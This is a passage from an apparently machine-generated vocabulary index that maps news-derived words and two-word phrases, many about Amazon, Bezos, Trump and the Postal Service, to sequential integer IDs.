 \"tattered brexit\": 94630,\n  \"director gary\": 94631,\n  \"sophie lennon\": 94632,\n  \"thunderstorm\": 94633,\n  \"words health\": 94634,\n  \"fellow members\": 94635,\n  \"educated working\": 94636,\n  \"caught\": 94637,\n  \"gummies actually\": 94638,\n  \"foto sourcehsn\": 94639,\n  \"sheffieldissuper\": 94640,\n  \"big 105\": 94641,\n  \"familiar media\": 94642,\n  \"enjoy increased\": 94643,\n  \"blanc\": 94644,\n  \"mail cutting\": 94645,\n  \"bedrijven\": 94646,\n  \"hope especially\": 94647,\n  \"kbr\": 94648,\n  \"managers interviewed\": 94649,\n  \"second summit\": 94650,\n  \"tantrum mark\": 94651,\n  \"hilariously obvious\": 94652,\n  \"including shirts\": 94653,\n  \"donations \\u014222\": 94654,\n  \"latest griff\": 94655,\n  \"important americans\": 94656,\n  \"consistently inform\": 94657,\n  \"microsoft palantir\": 94658,\n  \"bourn\": 94659,\n  \"orders phil\": 94660,\n  \"sears amazon\": 94661,\n  \"usps explained\": 94662,\n  \"isfirstvideoincollection\": 94663,\n  \"adjei\": 94664,\n  \"medium published\": 94665,\n  \"2015 nbc\": 94666,\n  \"horror state\": 94667,\n  \"reserve occupying\": 94668,\n  \"team did\": 94669,\n  \"influential technology\": 94670,\n  \"high income\": 94671,\n  \"permanently hurting\": 94672,\n  \"removeeventlistener r4ee\": 94673,\n  \"budgets poised\": 94674,\n  \"decision makers\": 94675,\n  \"helping wouldn\": 94676,\n  \"school bible\": 94677,\n  \"profile amazon\": 94678,\n  \"accepting contaminated\": 94679,\n  \"anchors scripts\": 94680,\n  \"fronts fox\": 94681,\n  \"usps losses\": 94682,\n  \"entirely faithful\": 94683,\n  \"converting rainforest\": 94684,\n  \"whacks minding\": 94685,\n  \"mam immigration\": 94686,\n  \"rico according\": 94687,\n  \"commissioner margrethe\": 94688,\n  \"thinks amazon\": 94689,\n  \"family pictures\": 94690,\n  \"sen joe\": 94691,\n  \"treaty compliance\": 94692,\n  \"exist help\": 94693,\n  \"commissioner bob\": 94694,\n  \"elections just\": 94695,\n  \"cah martingale\": 94696,\n  \"design toll\": 94697,\n  \"economic agenda\": 94698,\n  \"warfighters dana\": 94699,\n  \"brazil rural\": 94700,\n  \"sites operated\": 94701,\n  \"simple terms\": 94702,\n  \"granting access\": 94703,\n  \"witty smart\": 94704,\n  \"players roe\": 94705,\n  \"amazon joined\": 94706,\n  \"legislation targeting\": 94707,\n  \"coffee start\": 94708,\n  \"trump social\": 94709,\n  \"poorer government\": 94710,\n  \"tops views\": 94711,\n  \"emissions cutting\": 94712,\n  \"contessa\": 94713,\n  \"releasing bland\": 94714,\n  \"lower price\": 94715,\n  \"amazon resonate\": 94716,\n  \"year dr\": 94717,\n  \"playerinstance fave\": 94718,\n  \"disney frozen\": 94719,\n  \"scandal broke\": 94720,\n  \"snakeskin set\": 94721,\n  \"says duped\": 94722,\n  \"following conway\": 94723,\n  \"separation message\": 94724,\n  \"london detectives\": 94725,\n  \"consumers perceptions\": 94726,\n  \"siphon\": 94727,\n  \"compliance center\": 94728,\n  \"new private\": 94729,\n  \"jon hamm\": 94730,\n  \"journal chart\": 94731,\n  \"ford says\": 94732,\n  \"amazon luxembourg\": 94733,\n  \"anarchy series\": 94734,\n  \"barred story\": 94735,\n  \"prosecutors believe\": 94736,\n  \"gloom\": 94737,\n  \"queens james\": 94738,\n  \"alaraby\": 94739,\n  \"richard gates\": 94740,\n  \"long charging\": 94741,\n  \"insane litany\": 94742,\n  \"apparently unwilling\": 94743,\n  \"president play\": 94744,\n  \"local libraries\": 94745,\n  \"business town\": 94746,\n  \"budget conscious\": 94747,\n  \"communications ended\": 94748,\n  \"woman president\": 94749,\n  \"dow industrials\": 94750,\n  \"beverage maker\": 94751,\n  \"progressive kingmaker\": 94752,\n  \"defamation lawsuit\": 94753,\n  \"usps spokesperson\": 94754,\n  \"frank admission\": 94755,\n  \"security public\": 94756,\n  \"brad moon\": 94757,\n  \"global customer\": 94758,\n  \"y8 string\": 94759,\n  \"female directors\": 94760,\n  \"suddenly regained\": 94761,\n  \"ballgame\": 94762,\n  \"ethics lawyer\": 94763,\n  \"reaching patients\": 94764,\n  \"consumers urged\": 94765,\n  \"acted\": 94766,\n  \"landing higher\": 94767,\n  \"complement amazon\": 94768,\n  \"scudamore keen\": 94769,\n  \"amazon kumar\": 94770,\n  \"alphabet 870\": 94771,\n  \"sees facebook\": 94772,\n  \"reagan jack\": 94773,\n  \"street investors\": 94774,\n  \"independent retailers\": 94775,\n  \"website starting\": 94776,\n  \"planning vast\": 94777,\n  \"lethem wrestle\": 94778,\n  \"humour\": 94779,\n  \"amzn forays\": 94780,\n  \"teenaged daughter\": 94781,\n  \"term leases\": 94782,\n  \"makes liberal\": 94783,\n  \"away television\": 94784,\n  \"industry anna\": 94785,\n  \"including obama\": 94786,\n  \"alberto\": 94787,\n  \"breakthrough sheds\": 94788,\n  \"enacting safeguards\": 94789,\n  \"historically infeasible\": 94790,\n  \"raceway\": 94791,\n  \"columbus ohio\": 94792,\n  \"read opinions\": 94793,\n  \"art instead\": 94794,\n  \"abg hots\": 94795,\n  \"increase speed\": 94796,\n  \"barely carried\": 94797,\n  \"candidate sen\": 94798,\n  \"railroads\": 94799,\n  \"google spent\": 94800,\n  \"time earned\": 94801,\n  \"calls prime\": 94802,\n  \"trump illegal\": 94803,\n  \"taking feud\": 94804,\n  \"keener\": 94805,\n  \"staab wanted\": 94806,\n  \"follows months\": 94807,\n  \"interiors\": 94808,\n  \"antimicrobial durable\": 94809,\n  \"subtle dig\": 94810,\n  \"whispers warning\": 94811,\n  \"sexted\": 94812,\n  \"vta executive\": 94813,\n  \"growth online\": 94814,\n  \"crippling\": 94815,\n  \"nyt david\": 94816,\n  \"embolden india\": 94817,\n  \"community gains\": 94818,\n  \"says bob\": 94819,\n  \"bank downgraded\": 94820,\n  \"bb\": 94821,\n  \"philanthropic effort\": 94822,\n  \"winsoncin photo\": 94823,\n  \"deputy fired\": 94824,\n  \"great writers\": 94825,\n  \"uncertainty caused\": 94826,\n  \"arise\": 94827,\n  \"international union\": 94828,\n  \"institutionalized\": 94829,\n  \"involving billions\": 94830,\n  \"dams amazon\": 94831,\n  \"703 539\": 94832,\n  \"trump plaza\": 94833,\n  \"fairs\": 94834,\n  \"sl green\": 94835,\n  \"coming city\": 94836,\n  \"439\": 94837,\n  \"recently halted\": 94838,\n  \"jerusalem embassy\": 94839,\n  \"need places\": 94840,\n  \"online section\": 94841,\n  \"warren calls\": 94842,\n  \"sliced opened\": 94843,\n  \"articles sears\": 94844,\n  \"castlevania\": 94845,\n  \"matches\": 94846,\n  \"jeonghoon lee\": 94847,\n  \"company oversight\": 94848,\n  \"products quick\": 94849,\n  \"minaj hits\": 94850,\n  \"lowest possible\": 94851,\n  \"advertising giant\": 94852,\n  \"benefits include\": 94853,\n  \"enddate\": 94854,\n  \"trumping wall\": 94855,\n  \"bozotheclown\": 94856,\n  \"reactions spokesman\": 94857,\n  \"crash cbs\": 94858,\n  \"driving hillary\": 94859,\n  \"bargain amber\": 94860,\n  \"cats away\": 94861,\n  \"bride\": 94862,\n  \"revealed\": 94863,\n  \"177 000\": 94864,\n  \"legislation specifically\": 94865,\n  \"breaking\": 94866,\n  \"britton john\": 94867,\n  \"loan demand\": 94868,\n  \"improving advertising\": 94869,\n  \"national solution\": 94870,\n  \"services platform\": 94871,\n  \"pinboard\": 94872,\n  \"created worst\": 94873,\n  \"germany spain\": 94874,\n  \"documented immigrants\": 94875,\n  \"fired hundreds\": 94876,\n  \"district msnbc\": 94877,\n  \"facebook missteps\": 94878,\n  \"cellular biology\": 94879,\n  \"described reconciliation\": 94880,\n  \"court include\": 94881,\n  \"loads\": 94882,\n  \"kids started\": 94883,\n  \"wage mean\": 94884,\n  \"includes losing\": 94885,\n  \"ensuring\": 94886,\n  \"estate gwl\": 94887,\n  \"history currently\": 94888,\n  \"populist president\": 94889,\n  \"stretched\": 94890,\n  \"bezos judgment\": 94891,\n  \"needn\": 94892,\n  \"charging wars\": 94893,\n  \"services immigration\": 94894,\n  \"consulting expenses\": 94895,\n  \"spy thriller\": 94896,\n  \"closeness\": 94897,\n  \"scanning robots\": 94898,\n  \"domestic box\": 94899,\n  \"advisers repeated\": 94900,\n  \"funded directly\": 94901,\n  \"174 normally\": 94902,\n  \"great new\": 94903,\n  \"outweigh\": 94904,\n  \"book according\": 94905,\n  \"supplement existing\": 94906,\n  \"budget item\": 94907,\n  \"middleeast jamal\": 94908,\n  \"tax affairs\": 94909,\n  \"preserve earth\": 94910,\n  \"headquarters requires\": 94911,\n  \"rate lowered\": 94912,\n  \"boy think\": 94913,\n  \"margins investors\": 94914,\n  \"arm spun\": 94915,\n  \"slightly offensive\": 94916,\n  \"rolfe mayor\": 94917,\n  \"trims expectations\": 94918,\n  \"treatment similar\": 94919,\n  \"site small\": 94920,\n  \"slams amazon\": 94921,\n  \"repeated\": 94922,\n  \"books16 nov\": 94923,\n  \"investing_promo\": 94924,\n  \"dead argue\": 94925,\n  \"hurting usps\": 94926,\n  \"pan\": 94927,\n  \"editor cassandra\": 94928,\n  \"meaningfully partner\": 94929,\n  \"affect shoppers\": 94930,\n  \"thedeputy attorney\": 94931,\n  \"mail policies\": 94932,\n  \"deepti\": 94933,\n  \"reminding\": 94934,\n  \"correct attitudes\": 94935,\n  \"trump quickly\": 94936,\n  \"optical illusions\": 94937,\n  \"infringing article\": 94938,\n  \"winning blocked\": 94939,\n  \"dems don\": 94940,\n  \"happening later\": 94941,\n  \"billion cities\": 94942,\n  \"successful organization\": 94943,\n  \"behave\": 94944,\n  \"3d\": 94945,\n  \"usds product\": 94946,\n  \"long path\": 94947,\n  \"react angelo\": 94948,\n  \"lockhart 98point6\": 94949,\n  \"real results\": 94950,\n  \"swalwell calif\": 94951,\n  \"easy targets\": 94952,\n  \"couldn sue\": 94953,\n  \"doj makan\": 94954,\n  \"intelligence investigationbecause\": 94955,\n  \"valley companies\": 94956,\n  \"itep policy\": 94957,\n  \"seeing hardware\": 94958,\n  \"crassly denigrating\": 94959,\n  \"captures indian\": 94960,\n  \"pointone filter\": 94961,\n  \"story carries\": 94962,\n  \"took bold\": 94963,\n  \"harassment employers\": 94964,\n  \"did victory\": 94965,\n  \"adjei brenyah\": 94966,\n  \"purchased brand\": 94967,\n  \"economic influence\": 94968,\n  \"won quiet\": 94969,\n  \"chips 51554473329\": 94970,\n  \"zama lucrecia\": 94971,\n  \"review\": 94972,\n  \"mw update\": 94973,\n  \"adl tabatabai\": 94974,\n  \"analysts probably\": 94975,\n  \"amazon revealed\": 94976,\n  \"tl kept\": 94977,\n  \"life pecker\": 94978,\n  \"hasn lasted\": 94979,\n  \"art world\": 94980,\n  \"liberal democracy\": 94981,\n  \"workers cnbc\": 94982,\n  \"consumers cicilline\": 94983,\n  \"bizarre vragen\": 94984,\n  \"signing contract\": 94985,\n  \"486\": 94986,\n  \"stories gunman\": 94987,\n  \"year finances\": 94988,\n  \"super expensive\": 94989,\n  \"stance aligns\": 94990,\n  \"trump sold\": 94991,\n  \"services law\": 94992,\n  \"400 richest\": 94993,\n  \"puts wealth\": 94994,\n  \"washington political\": 94995,\n  \"incomplete information\": 94996,\n  \"terrible bezos\": 94997,\n  \"live carell\": 94998,\n  \"truth hidden\": 94999,\n  \"money deduction\": 95000,\n  \"perino\": 95001,\n  \"river fact\": 95002,\n  \"fuzzy terms\": 95003,\n  \"arousal\": 95004,\n  \"supply management\": 95005,\n  \"oil tycoon\": 95006,\n  \"commerce business\": 95007,\n  \"disagreement\": 95008,\n  \"amazon similar\": 95009,\n  \"sharpest legal\": 95010,\n  \"northeast ohio\": 95011,\n  \"willhave\": 95012,\n  \"darn application\": 95013,\n  \"reports smaller\": 95014,\n  \"alleghany\": 95015,\n  \"bendib otherwords\": 95016,\n  \"largest provider\": 95017,\n  \"bamboo\": 95018,\n  \"board especially\": 95019,\n  \"nation premier\": 95020,\n  \"combs\": 95021,\n  \"jeremy olshan\": 95022,\n  \"chief performance\": 95023,\n  \"musicians authors\": 95024,\n  \"mental avoidance\": 95025,\n  \"persecute homosexual\": 95026,\n  \"n\\u00e9e\": 95027,\n  \"gaining office\": 95028,\n  \"2018 think\": 95029,\n  \"exam\": 95030,\n  \"hayes amazon\": 95031,\n  \"homelessness seattle\": 95032,\n  \"fbi raging\": 95033,\n  \"board member\": 95034,\n  \"stickers mobile\": 95035,\n  \"juncker secret\": 95036,\n  \"starlet\": 95037,\n  \"public concerns\": 95038,\n  \"nv holds\": 95039,\n  \"published contact\": 95040,\n  \"samir husni\": 95041,\n  \"weak retail\": 95042,\n  \"dominance fine\": 95043,\n  \"company run\": 95044,\n  \"attitude\": 95045,\n  \"guard inside\": 95046,\n  \"officials effective\": 95047,\n  \"dissolving\": 95048,\n  \"asthma\": 95049,\n  \"immersive experiences\": 95050,\n  \"kiss bezos\": 95051,\n  \"combined institution\": 95052,\n  \"astounding\": 95053,\n  \"rebate making\": 95054,\n  \"chicken producers\": 95055,\n  \"net dynamic\": 95056,\n  \"sees dollar\": 95057,\n  \"dpbs\": 95058,\n  \"cell phones\": 95059,\n  \"checker trump\": 95060,\n  \"romantic comedy\": 95061,\n  \"mi\": 95062,\n  \"haven turned\": 95063,\n  \"chemical dependence\": 95064,\n  \"occasions\": 95065,\n  \"little money\": 95066,\n  \"brainwashed peers\": 95067,\n  \"police commerce\": 95068,\n  \"simplifying\": 95069,\n  \"economic collapse\": 95070,\n  \"howard mailed\": 95071,\n  \"oceania\": 95072,\n  \"sound mussels\": 95073,\n  \"profit model\": 95074,\n  \"2018 primary\": 95075,\n  \"rate\": 95076,\n  \"average convergence\": 95077,\n  \"week wall\": 95078,\n  \"overturned\": 95079,\n  \"genuity strategist\": 95080,\n  \"interoperable\": 95081,\n  \"communities need\": 95082,\n  \"amazon treatment\": 95083,\n  \"different benefits\": 95084,\n  \"help going\": 95085,\n  \"similar research\": 95086,\n  \"assistant secretary\": 95087,\n  \"big facebook\": 95088,\n  \"southern baptist\": 95089,\n  \"pompeo china\": 95090,\n  \"taxes trump\": 95091,\n  \"day gain\": 95092,\n  \"actual car\": 95093,\n  \"left housing\": 95094,\n  \"bold plans\": 95095,\n  \"happening think\": 95096,\n  \"prescriptions\": 95097,\n  \"researchers including\": 95098,\n  \"seattle foundation\": 95099,\n  \"general response\": 95100,\n  \"david dayen\": 95101,\n  \"highly complex\": 95102,\n  \"genius\": 95103,\n  \"host 2026\": 95104,\n  \"tsunami minutes\": 95105,\n  \"wegmans\": 95106,\n  \"strict targets\": 95107,\n  \"leak investigation\": 95108,\n  \"connecticut pleading\": 95109,\n  \"1150x540 getty_173218731_200015422000928060_388160\": 95110,\n  \"indian authorities\": 95111,\n  \"goodfellas espinal\": 95112,\n  \"earnings report\": 95113,\n  \"channels television\": 95114,\n  \"2019 seth\": 95115,\n  \"prongay\": 95116,\n  \"fund guys\": 95117,\n  \"topped wall\": 95118,\n  \"sector nyc\": 95119,\n  \"black farm\": 95120,\n  \"easy questions\": 95121,\n  \"admitted real\": 95122,\n  \"ebitda\": 95123,\n  \"corporate communications\": 95124,\n  \"jonerpnewsfeed\": 95125,\n  \"burning policy\": 95126,\n  \"yesjkxa6bi sharpdog\": 95127,\n  \"interests require\": 95128,\n  \"benefits 2018\": 95129,\n  \"dastin editing\": 95130,\n  \"enforcement officer\": 95131,\n  \"mistresses stormy\": 95132,\n  \"dubs heitkamp\": 95133,\n  \"announcing recall\": 95134,\n  \"innovation coming\": 95135,\n  \"specific retailer\": 95136,\n  \"save\": 95137,\n  \"brooklyn creating\": 95138,\n  \"feature suspected\": 95139,\n  \"harmful\": 95140,\n  \"billion charles\": 95141,\n  \"honest upright\": 95142,\n  \"pursued business\": 95143,\n  \"million low\": 95144,\n  \"great awakening\": 95145,\n  \"uu9ssaa17kk3 a4ee\": 95146,\n  \"told viewers\": 95147,\n  \"fourth straight\": 95148,\n  \"2018 movies\": 95149,\n  \"draft recommendations\": 95150,\n  \"includes\": 95151,\n  \"orders fresh\": 95152,\n  \"lone appearance\": 95153,\n  \"continuing multi\": 95154,\n  \"ami ceo\": 95155,\n  \"boos\": 95156,\n  \"utm_source arcnewsletter\": 95157,\n  \"hostile conquest\": 95158,\n  \"itunes\": 95159,\n  \"project nipnlg\": 95160,\n  \"americans looking\": 95161,\n  \"amazing cuomo\": 95162,\n  \"home favorite\": 95163,\n  \"forcing corporations\": 95164,\n  \"greatest thing\": 95165,\n  \"misztal\": 95166,\n  \"selling propaganda\": 95167,\n  \"currently serves\": 95168,\n  \"jw marriott\": 95169,\n  \"digital india\": 95170,\n  \"better information\": 95171,\n  \"sympathy\": 95172,\n  \"big mergers\": 95173,\n  \"palantir contract\": 95174,\n  \"enforce stormy\": 95175,\n  \"finally bows\": 95176,\n  \"workers workers\": 95177,\n  \"maricopa\": 95178,\n  \"shares wallington\": 95179,\n  \"provide contractually\": 95180,\n  \"motorola solutions\": 95181,\n  \"offspring takes\": 95182,\n  \"providing technology\": 95183,\n  \"company merck\": 95184,\n  \"heaped\": 95185,\n  \"heavily medicated\": 95186,\n  \"reported just\": 95187,\n  \"executive reports\": 95188,\n  \"performing hardworking\": 95189,\n  \"putting extra\": 95190,\n  \"genuine read\": 95191,\n  \"skyrocketing taxes\": 95192,\n  \"boycott amazon\": 95193,\n  \"brennen\": 95194,\n  \"owlprevitem cnn\": 95195,\n  \"836 shares\": 95196,\n  \"slamming\": 95197,\n  \"publication accused\": 95198,\n  \"francis abortion\": 95199,\n  \"000 results\": 95200,\n  \"sued tesla\": 95201,\n  \"new scrutiny\": 95202,\n  \"compatible amplifier\": 95203,\n  \"risks rift\": 95204,\n  \"making statements\": 95205,\n  \"time plus\": 95206,\n  \"meanings\": 95207,\n  \"words national\": 95208,\n  \"accusing american\": 95209,\n  \"arberg\": 95210,\n  \"western queens\": 95211,\n  \"dixie taggart\": 95212,\n  \"house investigation\": 95213,\n  \"image\": 95214,\n  \"careers critics\": 95215,\n  \"pretty intense\": 95216,\n  \"463 2017\": 95217,\n  \"gilroy\": 95218,\n  \"spend way\": 95219,\n  \"spoofs gop\": 95220,\n  \"tournament american\": 95221,\n  \"reordering bigger\": 95222,\n  \"retailer board\": 95223,\n  \"potentially saddle\": 95224,\n  \"urquhart\": 95225,\n  \"dwallbank\": 95226,\n  \"smartest things\": 95227,\n  \"legislative arrangements\": 95228,\n  \"results earnings\": 95229,\n  \"amazon vans\": 95230,\n  \"enormous package\": 95231,\n  \"korea kopsi\": 95232,\n  \"week\": 95233,\n  \"enforcing punishment\": 95234,\n  \"wipes\": 95235,\n  \"team suspect\": 95236,\n  \"recreation\": 95237,\n  \"adebola\": 95238,\n  \"softened\": 95239,\n  \"cmc markets\": 95240,\n  \"matt goulding\": 95241,\n  \"amazon increase\": 95242,\n  \"different company\": 95243,\n  \"marketplace mechanical\": 95244,\n  \"content creator\": 95245,\n  \"chief roy\": 95246,\n  \"competitor walmart\": 95247,\n  \"generate moralizing\": 95248,\n  \"pd makes\": 95249,\n  \"accolade geekwire\": 95250,\n  \"measure lawmakers\": 95251,\n  \"new iphones\": 95252,\n  \"products toiletries\": 95253,\n  \"brand inception\": 95254,\n  \"fanfare dropped\": 95255,\n  \"entry crackdown\": 95256,\n  \"trumped\": 95257,\n  \"investigating google\": 95258,\n  \"sen scott\": 95259,\n  \"american manufacturers\": 95260,\n  \"protect young\": 95261,\n  \"kshama\": 95262,\n  \"graduate school\": 95263,\n  \"earnings benefit\": 95264,\n  \"impeccable\": 95265,\n  \"multiple occasions\": 95266,\n  \"galit\": 95267,\n  \"regulations tax\": 95268,\n  \"gentrified washington\": 95269,\n  \"seventh session\": 95270,\n  \"sector gaining\": 95271,\n  \"fan quite\": 95272,\n  \"activists blocked\": 95273,\n  \"827 million\": 95274,\n  \"construction inflation\": 95275,\n  \"district investigation\": 95276,\n  \"purk\": 95277,\n  \"gasol walked\": 95278,\n  \"demanding working\": 95279,\n  \"whack given\": 95280,\n  \"aid organizations\": 95281,\n  \"negotiate discounts\": 95282,\n  \"actor john\": 95283,\n  \"needing\": 95284,\n  \"days travel\": 95285,\n  \"waswell worth\": 95286,\n  \"annual aws\": 95287,\n  \"roiling\": 95288,\n  \"network reboot\": 95289,\n  \"house hillicon\": 95290,\n  \"teal gunter\": 95291,\n  \"accused fox\": 95292,\n  \"white area\": 95293,\n  \"hospital posted\": 95294,\n  \"ground shipping\": 95295,\n  \"hitler rise\": 95296,\n  \"gaines smart\": 95297,\n  \"profound malaise\": 95298,\n  \"reconcile differences\": 95299,\n  \"onstage\": 95300,\n  \"disease infected\": 95301,\n  \"continue leading\": 95302,\n  \"confidential sales\": 95303,\n  \"civilian\": 95304,\n  \"justice doj\": 95305,\n  \"actually occurred\": 95306,\n  \"revenue number\": 95307,\n  \"munster munster\": 95308,\n  \"wrote farrow\": 95309,\n  \"shaping president\": 95310,\n  \"genesis frame\": 95311,\n  \"digital privacy\": 95312,\n  \"amazon mountains\": 95313,\n  \"peopleworking\": 95314,\n  \"latest comments\": 95315,\n  \"trillion bucks\": 95316,\n  \"doctors leading\": 95317,\n  \"biggest sticking\": 95318,\n  \"sent shock\": 95319,\n  \"vicious\": 95320,\n  \"revolutionizing\": 95321,\n  \"trump ferrari\": 95322,\n  \"inward\": 95323,\n  \"costly proposition\": 95324,\n  \"walls\": 95325,\n  \"food online\": 95326,\n  \"honda chrysler\": 95327,\n  \"seldom responds\": 95328,\n  \"studios roy\": 95329,\n  \"comedic\": 95330,\n  \"allegedly removing\": 95331,\n  \"owens marketwatch\": 95332,\n  \"thingy\": 95333,\n  \"systems supply\": 95334,\n  \"foto trump\": 95335,\n  \"lb mb\": 95336,\n  \"unfamiliar\": 95337,\n  \"personal security\": 95338,\n  \"consumer jon\": 95339,\n  \"observing\": 95340,\n  \"concentrated\": 95341,\n  \"buffett revealed\": 95342,\n  \"subwoofer\": 95343,\n  \"shopping holiday\": 95344,\n  \"wished bezos\": 95345,\n  \"industries running\": 95346,\n  \"weakened\": 95347,\n  \"lose sense\": 95348,\n  \"sleep parents\": 95349,\n  \"international monetary\": 95350,\n  \"bezos jon\": 95351,\n  \"cone\": 95352,\n  \"freight\": 95353,\n  \"fast lately\": 95354,\n  \"bolsonaro son\": 95355,\n  \"toe\": 95356,\n  \"boyne protagonist\": 95357,\n  \"perceived tax\": 95358,\n  \"1062486469602766848\": 95359,\n  \"biggest rival\": 95360,\n  \"zinke reassigned\": 95361,\n  \"economic cooperation\": 95362,\n  \"da attorney\": 95363,\n  \"2016 bezos\": 95364,\n  \"season summing\": 95365,\n  \"amazon owned\": 95366,\n  \"head tilted\": 95367,\n  \"criteria ricardo\": 95368,\n  \"parenthetical\": 95369,\n  \"harassment unless\": 95370,\n  \"2020 target\": 95371,\n  \"longstanding policy\": 95372,\n  \"competitor claiming\": 95373,\n  \"washington congress\": 95374,\n  \"institute think\": 95375,\n  \"gm andrews\": 95376,\n  \"service executive\": 95377,\n  \"jim vandehei\": 95378,\n  \"political scene\": 95379,\n  \"kvaal addressed\": 95380,\n  \"gop led\": 95381,\n  \"excess capacity\": 95382,\n  \"bes\": 95383,\n  \"iconic comic\": 95384,\n  \"launching handful\": 95385,\n  \"work process\": 95386,\n  \"threadbare fabric\": 95387,\n  \"enabling\": 95388,\n  \"company president\": 95389,\n  \"jim condos\": 95390,\n  \"theatre\": 95391,\n  \"funding data\": 95392,\n  \"lips amazon\": 95393,\n  \"usher pay\": 95394,\n  \"deal faces\": 95395,\n  \"cases involving\": 95396,\n  \"amazon directly\": 95397,\n  \"preexisting\": 95398,\n  \"monologuejoin\": 95399,\n  \"test drone\": 95400,\n  \"claiming partnership\": 95401,\n  \"clip wasnt\": 95402,\n  \"cnn trending\": 95403,\n  \"pollutants\": 95404,\n  \"meaner\": 95405,\n  \"2016 fiscal\": 95406,\n  \"resounding\": 95407,\n  \"operator data\": 95408,\n  \"sociopath\": 95409,\n  \"netflixs\": 95410,\n  \"wrongly think\": 95411,\n  \"redeemed social\": 95412,\n  \"chinese presidents\": 95413,\n  \"barmy\": 95414,\n  \"resent bezos\": 95415,\n  \"amazon months\": 95416,\n  \"person going\": 95417,\n  \"toto\": 95418,\n  \"list currently\": 95419,\n  \"smoking pot\": 95420,\n  \"impossible ebay\": 95421,\n  \"tiresome\": 95422,\n  \"general partner\": 95423,\n  \"regard\": 95424,\n  \"shocking american\": 95425,\n  \"yr pecker\": 95426,\n  \"boyfriend lives\": 95427,\n  \"timothy weaver\": 95428,\n  \"danica patrick\": 95429,\n  \"allegedly benefiting\": 95430,\n  \"americas pressing\": 95431,\n  \"bezos continued\": 95432,\n  \"francisco washington\": 95433,\n  \"sharing platforms\": 95434,\n  \"unlock exciting\": 95435,\n  \"gmbunionamazon\": 95436,\n  \"educational improvements\": 95437,\n  \"liberal superstars\": 95438,\n  \"general editor\": 95439,\n  \"cnn reports\": 95440,\n  \"waxed poetic\": 95441,\n  \"450 parcel\": 95442,\n  \"benefit rate\": 95443,\n  \"la huelgaamazon\": 95444,\n  \"ai powered\": 95445,\n  \"dumped usps\": 95446,\n  \"administration sued\": 95447,\n  \"single image\": 95448,\n  \"misuses\": 95449,\n  \"danaher\": 95450,\n  \"meg whitman\": 95451,\n  \"pages fred\": 95452,\n  \"trigger antitrust\": 95453,\n  \"2016 white\": 95454,\n  \"black guy\": 95455,\n  \"kessler source\": 95456,\n  \"annual state\": 95457,\n  \"leave nice\": 95458,\n  \"wasn tconsulted\": 95459,\n  \"ljh investment\": 95460,\n  \"faang facebook\": 95461,\n  \"steer\": 95462,\n  \"president infamous\": 95463,\n  \"pills allergy\": 95464,\n  \"recently formed\": 95465,\n  \"billion 152\": 95466,\n  \"prices regional\": 95467,\n  \"blaming political\": 95468,\n  \"health fitness\": 95469,\n  \"rob bank\": 95470,\n  \"deliveries reports\": 95471,\n  \"fighter\": 95472,\n  \"voters leaving\": 95473,\n  \"power play\": 95474,\n  \"hosted ap\": 95475,\n  \"best segue\": 95476,\n  \"fumes according\": 95477,\n  \"food processing\": 95478,\n  \"multiple deflationary\": 95479,\n  \"delivery capability\": 95480,\n  \"rare deal\": 95481,\n  \"crore infusion\": 95482,\n  \"base realignment\": 95483,\n  \"demonstrated strong\": 95484,\n  \"finance buffett\": 95485,\n  \"air pollution\": 95486,\n  \"global advisers\": 95487,\n  \"legal fights\": 95488,\n  \"right office\": 95489,\n  \"contested city\": 95490,\n  \"hysteria information\": 95491,\n  \"oil shocks\": 95492,\n  \"splc took\": 95493,\n  \"insertbefore a4ee\": 95494,\n  \"wedbush securities\": 95495,\n  \"extended comment\": 95496,\n  \"twitter business\": 95497,\n  \"kingdom royal\": 95498,\n  \"southern illinoisan\": 95499,\n  \"notorious white\": 95500,\n  \"early offerings\": 95501,\n  \"businesses fought\": 95502,\n  \"york shoving\": 95503,\n  \"management limited\": 95504,\n  \"delegation reflects\": 95505,\n  \"miccosukee road\": 95506,\n  \"related falsehoods\": 95507,\n  \"relative silence\": 95508,\n  \"brk brk\": 95509,\n  \"cazzioii cazzioii\": 95510,\n  \"molding\": 95511,\n  \"woodward book\": 95512,\n  \"kathleen purvis\": 95513,\n  \"added homeowner\": 95514,\n  \"unpack\": 95515,\n  \"taskrabbit stripe\": 95516,\n  \"anti immigrant\": 95517,\n  \"2019 amid\": 95518,\n  \"enforcement policy\": 95519,\n  \"smartphone industry\": 95520,\n  \"cable clutter\": 95521,\n  \"independent bureau\": 95522,\n  \"shin\": 95523,\n  \"exact locations\": 95524,\n  \"lawyer representing\": 95525,\n  \"today nasdaq\": 95526,\n  \"seasonal package\": 95527,\n  \"agent told\": 95528,\n  \"wages released\": 95529,\n  \"impact report\": 95530,\n  \"letter states\": 95531,\n  \"spurred acts\": 95532,\n  \"false clouding\": 95533,\n  \"global monopoly\": 95534,\n  \"receiving billion\": 95535,\n  \"tiny landlocked\": 95536,\n  \"life stream\": 95537,\n  \"democrats socioeconomic\": 95538,\n  \"logistics services\": 95539,\n  \"blackmail political\": 95540,\n  \"augustine chief\": 95541,\n  \"worries intensified\": 95542,\n  \"accelerate development\": 95543,\n  \"mccabe amazon\": 95544,\n  \"bought time\": 95545,\n  \"involves ami\": 95546,\n  \"bigger spotlight\": 95547,\n  \"compromise immigration\": 95548,\n  \"traitor\": 95549,\n  \"paying employer\": 95550,\n  \"273\": 95551,\n  \"entry point\": 95552,\n  \"called boost\": 95553,\n  \"38bn earnings\": 95554,\n  \"education association\": 95555,\n  \"technology sector\": 95556,\n  \"apple card\": 95557,\n  \"testimony expert\": 95558,\n  \"current_video_collection videocardcontents\": 95559,\n  \"party frauds\": 95560,\n  \"prevent taxpayer\": 95561,\n  \"media posted\": 95562,\n  \"entering bigger\": 95563,\n  \"baron emailed\": 95564,\n  \"rates negotiated\": 95565,\n  \"demands border\": 95566,\n  \"prevent gold\": 95567,\n  \"658\": 95568,\n  \"begin banning\": 95569,\n  \"vital software\": 95570,\n  \"unfathomably\": 95571,\n  \"e0 j8i\": 95572,\n  \"trump avowed\": 95573,\n  \"locale lisa\": 95574,\n  \"directing financial\": 95575,\n  \"priest\": 95576,\n  \"r4ee c9x\": 95577,\n  \"external ssd\": 95578,\n  \"capsizes\": 95579,\n  \"imdb sort\": 95580,\n  \"medium post\": 95581,\n  \"perfumania foto\": 95582,\n  \"confiscated\": 95583,\n  \"luxury cars\": 95584,\n  \"administration keeps\": 95585,\n  \"free apps\": 95586,\n  \"content columnist\": 95587,\n  \"audited\": 95588,\n  \"illinois lieutenant\": 95589,\n  \"mulls senate\": 95590,\n  \"amazon hosts\": 95591,\n  \"tcja largesse\": 95592,\n  \"balsam\": 95593,\n  \"american television\": 95594,\n  \"dallas cowboys\": 95595,\n  \"trump 